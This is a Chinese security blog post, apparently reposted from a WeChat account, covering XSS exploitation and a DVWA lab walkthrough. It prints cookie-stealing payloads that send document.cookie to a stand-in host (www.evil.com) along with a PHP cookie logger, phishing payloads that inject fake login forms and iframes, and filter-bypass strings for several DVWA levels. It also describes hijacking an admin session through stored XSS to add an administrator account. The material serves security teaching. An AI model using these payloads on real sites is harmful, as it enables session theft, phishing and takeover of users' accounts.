安全笔记系列之XSS利用方式和代码分析(二)【长文】

admin 2024年9月28日12:01:59评论19 views字数 8206阅读27分21秒阅读模式
欢迎关注公众号,更多内容喔~

引言

    XSS利用方式总结和漏洞代码分析。

利用方式‍‍

 1、cookie窃取

攻击者可以使用以下代码获取客户端的Cookies信息:

```javascript

<script> document.location="http://www.evil.com/cookie.asp?cookie="+document.cookie new Image().src="http://www.evil.com/cookie.asp?cookie="+document.cookie </script>

<img src="http://www.evil.com/cookie.asp?cookie="+document.cookie></img>

```

在远程服务器上,有一个接受和记录Cookies信息的文件,示例如下:

`<? php$cookie = $_GET['cookie'];$log = fopen("cookie.txt", "a");fwrite($log, $cookie . "n"); fclose($log); ?>

攻击者在获取到Cookies之后,通过修改本机浏览器的Cookies,即可登录受害者的账户

 2.会话劫持

由于使用Cookies存在一定的安全缺陷,因此,开发者开始使用一些更为安全的认证方式,如Session。在Session机制中,客户端和服务端通过标识符来识别用户身份和维持会话,但这个标识符也有被其他人利用的可能。会话劫持的本质是在攻击中带上了Cookies并发送到了服务端。

如某CMS的留言系统存在一个存储型xss漏洞,攻击者把xss代码写进留言信息中,当管理员登录后台并查看是,便会触发xss漏洞,由于XSS是在后台触发的,所以攻击的对象是管理员,通过注入JavaScript代码,攻击者便可以劫持管理员会话执行某些操作,从而达到提升权限的目的。

比如,攻击者想利用xSS添加一个管理员账号,只需要通过之前的代码审计或其他方式,截取到添加管理员账号时的HTTP请求信息,然后使用XMLHTTP对象在后台发送一个HTTP请求即可,由于请求带上了被攻击者的Cookies,并一同发送到服务端,即可实现添加一个管理员账户的操作。

3、钓鱼

* 重定向钓鱼

```javascript

http://www.bug.com/index.php?search="'><script>document.location.href="http:/ /www.evil.com"</script>

```

* HTML注入式钓鱼

使用XSS漏洞注入HTML或JavaScript代码到页面中。

```html

http://www.bug.com/index.php?search="'<html><head><title>login</title></head><body><div style="text-align:center;"><form Method="POST" Action="phishing.php" Name="form"><br /><br />Login:<br/><input name="login" /><br />Password:<br/><input name="Password" type="password" /><br/><br/><input name="Valid" value="Ok" type="submit" /><br/></form></div></body></html>

```

该段代码会在正常页面中嵌入一个Form表单。

* iframe钓鱼

这种方式是通过<iframe>标签嵌入远程域的一个页面实施钓鱼。

```html

http://www.bug.com/index.php?search='><iframe src="http://www.evil.com" height="100%" width="100%"</iframe>

```

DVWA

反射型

*LOW*

服务器端核心代码

```php<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {     // Feedback for end user     echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; } ?>```

可以看到,代码直接引用了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞。

漏洞利用

输入`<script>alert(/xss/)</script>`,成功弹框

*Medium*

服务器端核心代码

<?php 

// Is there any input? 

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 

    // Get input 

    $name = str_replace( '<script>', '', $_GET[ 'name' ] ); 

    // Feedback for end user 

    echo "<pre>Hello ${name}</pre>"; 

?>

可以看到,这里对输入进行了过滤,基于黑名单的思想,使用str_replace函数将输入中的<script>删除,这种防护机制是可以被轻松绕过的。

漏洞利用

1.双写绕过

输入

<sc<script>ript>alert(/xss/)</script

成功弹框

2.大小写混淆绕过

输入`<ScRipt>alert(/xss/)</script>`,成功弹框:

*High*

服务器端核心代码

<?php 

// Is there any input? 

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 

    // Get input 

    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); 

    // Feedback for end user 

    echo "<pre>Hello ${name}</pre>"; 

?>

可以看到,High级别的代码同样使用黑名单过滤输入,preg_replace() 函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。

漏洞利用

虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码。

输入   <img src=1 onerror=alert(/xss/)>  ,成功弹框

存储型

*Low*

服务器端核心代码

<?php 

if( isset( $_POST[ 'btnSign' ] ) ) { 

    // Get input 

    $message = trim( $_POST[ 'mtxMessage' ] ); 

    $name    = trim( $_POST[ 'txtName' ] ); 

    // Sanitize message input 

    $message = stripslashes( $message ); 

    $message = mysql_real_escape_string( $message ); 

    // Sanitize name input 

    $name = mysql_real_escape_string( $name ); 

    // Update database 

    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; 

    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 

    //mysql_close(); 

?>

相关函数介绍

trim(string,charlist)

函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、t、n、x0B、r以及空格,可选参数charlist支持添加额外需要删除的字符。

mysql_real_escape_string(string,connection)

函数会对字符串中的特殊符号(x00,n,r,,',",x1a)进行转义。

stripslashes(string)

函数删除字符串中的反斜杠。

可以看到,对输入并没有做XSS方面的过滤与检查,且存储在数据库中,因此这里存在明显的存储型XSS漏洞。

漏洞利用

message一栏输入`<script>alert(/xss/)</script>`,成功弹框

name一栏前端有字数限制,通过抓包改为<script>alert(/name/)</script>或者直接修改

*Medium*

服务器端核心代码

<?php 

if( isset( $_POST[ 'btnSign' ] ) ) { 

    // Get input 

    $message = trim( $_POST[ 'mtxMessage' ] ); 

    $name    = trim( $_POST[ 'txtName' ] ); 

    // Sanitize message input 

    $message = strip_tags( addslashes( $message ) ); 

    $message = mysql_real_escape_string( $message ); 

    $message = htmlspecialchars( $message ); 

    // Sanitize name input 

    $name = str_replace( '<script>', '', $name ); 

    $name = mysql_real_escape_string( $name ); 

    // Update database 

    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; 

    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 

    //mysql_close(); 

?>

相关函数说明

strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签,但允许使用<b>标签。

addslashes() 函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。

可以看到,由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码,但是对于name参数,只是简单过滤了<script>字符串,仍然存在存储型的XSS。

漏洞利用

1.双写绕过

抓包改name参数为

<sc<script>ript>alert(/xss/)</script>

2.大小写混淆绕过

抓包改name参数为`<Script>alert(/xss/)</script>`

**High**

服务器端核心代码

<?php 

if( isset( $_POST[ 'btnSign' ] ) ) { 

    // Get input 

    $message = trim( $_POST[ 'mtxMessage' ] ); 

    $name    = trim( $_POST[ 'txtName' ] ); 

    // Sanitize message input 

    $message = strip_tags( addslashes( $message ) ); 

    $message = mysql_real_escape_string( $message ); 

    $message = htmlspecialchars( $message ); 

    // Sanitize name input 

    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); 

    $name = mysql_real_escape_string( $name ); 

    // Update database 

    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; 

    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 

    //mysql_close(); 

?>

可以看到,这里使用正则表达式过滤了<script>标签,但是却忽略了img、iframe等其它危险的标签,因此name参数依旧存在存储型XSS。

抓包改name参数为`<img src=1 onerror=alert(1)>`

DOM

环境可在 https://www.vulnspy.com/dvwa/ 开启,docker的没有domxss

**Low**

找XSS的漏洞,其实主要是从前端的HTML和js入手。

查看页面源码,可以看到以下框中的JS代码,从URL栏中获取default参数的值,这里是通过获取“default=”后面的字符串来实现的,然后直接写到option标签中,并没有对特殊字符进行任何的过滤:

if (document.location.href.indexOf("default=") >= 0) {

var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);

document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");

document.write("<option value='' disabled='disabled'>----</option>");

}

document.write("<option value='English'>English</option>");

document.write("<option value='French'>French</option>");

document.write("<option value='Spanish'>Spanish</option>");

document.write("<option value='German'>German</option>");

可以明确,这是由document.write属性造成的DOM型XSS漏洞。

因为这段JS代码是本地执行的,获取本地输入的URL栏上的default参数再直接嵌入到option标签中的,因而可以直接往default参数注入XSS payload即可:

payload

```

?default=English<script>alert('xss');</script

?defult=E<script>alert(document.cookie)</script

用XSS平台接收一下:

?default=English<sCRiPt/SrC=//xss.pt/****>

```

若要尝试使用其他XSS payload,如img、svg等标签,因为select标签内只允许内嵌option标签,而option标签中能内嵌script标签但不能内嵌img等标签,因此需要在注入时先闭合option和select标签从而使注入的标签逃逸出来执行XSS:

```

</option></select><img src=x οnerrοr=alert("aa")>

```

**Medium**

<?php

// Is there any input?

if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    $default = $_GET['default'];

    # Do not allow script tags

    if (stripos ($default, "<script") !== false) {

        header ("location: ?default=English");

        exit;

    }

}

?>

先尝试payload:<script>alert(document.cookie)</script>

发现会重定向到English选项页面。

推测可能是对script字符串进行了过滤,因此进行重复内嵌或大小写组合等方式尝试绕过:

<scri<script>pt>alert(document.cookie)</sc</script>ript>

<scRIpt>alert(document.cookie)</sCRIPT>

然而发现也是会重定向到English选项页面。

应该是对script标签进行了比较严格的过滤,

换个标签类型的payload(注意要闭合前面的标签如low级所说):

</option></select><svg/οnlοad=alert(document.cookie)>

弹框成功:

通过stripos()函数过滤含有<script>的标签数据(不区分大小写)。但是还有很多标签如<vsg>,<img>等等绕过。

?default=English</option></select><img src=1 onerror=alert('xss')>

但是需要注意闭合前面的标签。

**High**

<?php

// Is there any input?

if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages

    switch ($_GET['default']) {

        case "French":

        case "English":

        case "German":

        case "Spanish":

            # ok

            break;

        default:

            header ("location: ?default=English");

            exit;

    }

}

?>

白名单 只允许 传的 default值 为 French English German Spanish 其中一个

大概意思就是,需要找一种方法在本地运行你的JS代码而无需经过服务器端的处理。这里提供的一种方法就是,应用#号,URL栏的#号之后的内容并不会发送至服务器端,JS应用该符号实现在页面创建加载过程中定向到指定的页面内容上。

用#可以传入数据,

```

?default=English#<script>alert(1)</script

```

**Impossible**

直接看源码吧:

是服务器端不需要做任何防御措施,防御的关键在于客户端上。

大致就是,大多数浏览器默认都对从URL中获取的内容进行编码,以防止JS代码注入执行。

回到xss dom的index.php中可以看到,对于impossible级别来说,在JS代码document.write()中调用的decodeURI()是个空函数,即并不会对URL输入进行URL编码过的内容再进行URL解码从而杜绝了DOM型XSS:

窃取cookie——createElement()

利用JS的document.createElement()创建新标签如img并将cookie信息通过img标签src属性来请求发往目标主机,payload如下:

```

/xss_d/?default=<script>var img=document.createElement("img");img.src="http://127.0.0.1:8000/a?"+escape(document.cookie);</script

```

来玩

欢迎进群吹水交流~~~

安全笔记系列之XSS利用方式和代码分析(二)【长文】

原文始发于微信公众号(赛博之眼CyberEye):安全笔记系列之XSS利用方式和代码分析(二)【长文】

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月28日12:01:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   安全笔记系列之XSS利用方式和代码分析(二)【长文】https://cn-sec.com/archives/1993299.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息